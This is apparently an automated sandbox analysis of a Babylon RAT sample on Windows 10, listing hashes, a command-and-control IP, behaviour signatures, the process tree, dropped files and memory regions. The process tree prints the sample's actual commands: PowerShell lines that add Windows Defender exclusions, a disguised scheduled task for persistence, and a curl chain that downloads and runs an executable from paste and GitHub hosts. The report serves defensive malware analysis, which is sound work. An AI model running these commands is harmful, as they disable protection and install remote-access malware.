Analysis

  • max time kernel
    148s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-06-2024 11:50

General

  • Target

    2024-06-26_66383700fdfaca06f74a87cb628bb89f_poet-rat_snatch.exe

  • Size

    4.9MB

  • MD5

    66383700fdfaca06f74a87cb628bb89f

  • SHA1

    f157bd262904db73a7da388470872386433f094f

  • SHA256

    0217f0ab778acfba323a9b444c8661618fc23f23906f16fe46564a86e4b86836

  • SHA512

    30894da96435b2fdb8136b2c071d42bae3cca3107d21b176a9529d0af145ee9589a43fda6dde4fd95ed7732ea6b39e8cfac2fbf941e70d95fec1072864c576cf

  • SSDEEP

    49152:+ur1PwvIyeo+j+E5p9vTiOHWdC9hHbxCM5EmsMpQMLxA7i:FVo+jXJzWdC9lXEmGMN3

Malware Config

Extracted

Family

babylonrat

C2

147.185.221.20

Signatures

  • Babylon RAT

    Babylon RAT is remote access trojan written in C++.

  • Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Downloads MZ/PE file
  • Executes dropped EXE 2 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Modifies system certificate store 2 TTPs 6 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\2024-06-26_66383700fdfaca06f74a87cb628bb89f_poet-rat_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2024-06-26_66383700fdfaca06f74a87cb628bb89f_poet-rat_snatch.exe"
    1⤵
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:3136
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath \"$env:programdata\""
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2320
    • C:\ProgramData\Microsoft\SvcHost\svc-host.exe
      C:\ProgramData\Microsoft\SvcHost\svc-host.exe
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1056
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "%programdata%"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3732
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /Create /F /RL HIGHEST /SC ONLOGON /TN "Microsoft\Windows\SvcHost\SvcHost" /TR "cmd.exe /c start \"\" \"^%programdata^%\Microsoft\SvcHost\svc-host.exe\""
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2456
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe /c for /f "delims=" %i in ('curl -s https://rentry.co/o5kpirns/raw') do @curl -o "C:\ProgramData\Microsoft\Security\SecurityHealth.exe" %i 1>nul 2>&1
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /c curl -s https://rentry.co/o5kpirns/raw
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4356
          • C:\Windows\SysWOW64\curl.exe
            curl -s https://rentry.co/o5kpirns/raw
            5⤵
              PID:1080
          • C:\Windows\SysWOW64\curl.exe
            curl -o "C:\ProgramData\Microsoft\Security\SecurityHealth.exe" https://raw.githubusercontent.com/Drelta/test/main/SecurityDiagram.txt
            4⤵
              PID:3896
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c start "" "C:\ProgramData\Microsoft\Security\SecurityHealth.exe"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:1000
            • C:\ProgramData\Microsoft\Security\SecurityHealth.exe
              "C:\ProgramData\Microsoft\Security\SecurityHealth.exe"
              4⤵
              • Executes dropped EXE
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of SetWindowsHookEx
              PID:3040

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\Microsoft\Security\SecurityHealth.exe

        Filesize

        733KB

        MD5

        73a2ea546c656ceaa289f9221b6a1f59

        SHA1

        75ae715e21b6c2d3fb229f566a54518ac044d58b

        SHA256

        fa7ce16aab3ede14a4274600b3787bc66047001264da0cdeb965f231a1fd826f

        SHA512

        260ea61d495af5911080f268402c9be539cb8623418a71602db71e7e9933a80002c5ccaa4c29c78a60b22f0a2e773df46e0bd6f0d9f26e0e050542873e77e3a6

      • C:\ProgramData\Microsoft\SvcHost\svc-host.exe

        Filesize

        400KB

        MD5

        7d8e36e0658b87c7235d754e8ada2502

        SHA1

        4d16fd939eb3ec3ce3a2ad33e0c8154631de582b

        SHA256

        1c71376c691b2802a5809f3e0cf715e4de2611a6008bd40a3c81cecd6c77c365

        SHA512

        4330acd4b9365027c89237ff037529845628faee5b6693612e0f45fe77ae60c7cd68914a129d94d1718d4702a95bfec5d6741e79e896186bf104179d62fafab6

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        64B

        MD5

        d8b9a260789a22d72263ef3bb119108c

        SHA1

        376a9bd48726f422679f2cd65003442c0b6f6dd5

        SHA256

        d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

        SHA512

        550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_w5cz2wmk.zj3.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/2320-6-0x00000227E1420000-0x00000227E1442000-memory.dmp

        Filesize

        136KB

      • memory/2320-11-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2320-15-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2320-14-0x00007FFFF3A30000-0x00007FFFF44F1000-memory.dmp

        Filesize

        10.8MB

      • memory/2320-0-0x00007FFFF3A33000-0x00007FFFF3A35000-memory.dmp

        Filesize

        8KB

      • memory/3732-23-0x0000000004DA0000-0x0000000004DD6000-memory.dmp

        Filesize

        216KB

      • memory/3732-55-0x0000000007330000-0x00000000073D3000-memory.dmp

        Filesize

        652KB

      • memory/3732-25-0x0000000074C80000-0x0000000075430000-memory.dmp

        Filesize

        7.7MB

      • memory/3732-27-0x0000000005BC0000-0x0000000005BE2000-memory.dmp

        Filesize

        136KB

      • memory/3732-28-0x0000000005C60000-0x0000000005CC6000-memory.dmp

        Filesize

        408KB

      • memory/3732-29-0x0000000005CD0000-0x0000000005D36000-memory.dmp

        Filesize

        408KB

      • memory/3732-39-0x0000000005D40000-0x0000000006094000-memory.dmp

        Filesize

        3.3MB

      • memory/3732-24-0x0000000005410000-0x0000000005A38000-memory.dmp

        Filesize

        6.2MB

      • memory/3732-41-0x0000000006350000-0x000000000636E000-memory.dmp

        Filesize

        120KB

      • memory/3732-42-0x00000000063A0000-0x00000000063EC000-memory.dmp

        Filesize

        304KB

      • memory/3732-43-0x0000000006910000-0x0000000006942000-memory.dmp

        Filesize

        200KB

      • memory/3732-44-0x0000000070AA0000-0x0000000070AEC000-memory.dmp

        Filesize

        304KB

      • memory/3732-54-0x0000000007310000-0x000000000732E000-memory.dmp

        Filesize

        120KB

      • memory/3732-26-0x0000000074C80000-0x0000000075430000-memory.dmp

        Filesize

        7.7MB

      • memory/3732-56-0x0000000007CC0000-0x000000000833A000-memory.dmp

        Filesize

        6.5MB

      • memory/3732-57-0x0000000007680000-0x000000000769A000-memory.dmp

        Filesize

        104KB

      • memory/3732-58-0x0000000007700000-0x000000000770A000-memory.dmp

        Filesize

        40KB

      • memory/3732-59-0x00000000078F0000-0x0000000007986000-memory.dmp

        Filesize

        600KB

      • memory/3732-60-0x0000000007880000-0x0000000007891000-memory.dmp

        Filesize

        68KB

      • memory/3732-61-0x00000000078B0000-0x00000000078BE000-memory.dmp

        Filesize

        56KB

      • memory/3732-62-0x00000000078C0000-0x00000000078D4000-memory.dmp

        Filesize

        80KB

      • memory/3732-63-0x00000000079B0000-0x00000000079CA000-memory.dmp

        Filesize

        104KB

      • memory/3732-64-0x00000000079A0000-0x00000000079A8000-memory.dmp

        Filesize

        32KB

      • memory/3732-67-0x0000000074C80000-0x0000000075430000-memory.dmp

        Filesize

        7.7MB

      • memory/3732-22-0x0000000074C8E000-0x0000000074C8F000-memory.dmp

        Filesize

        4KB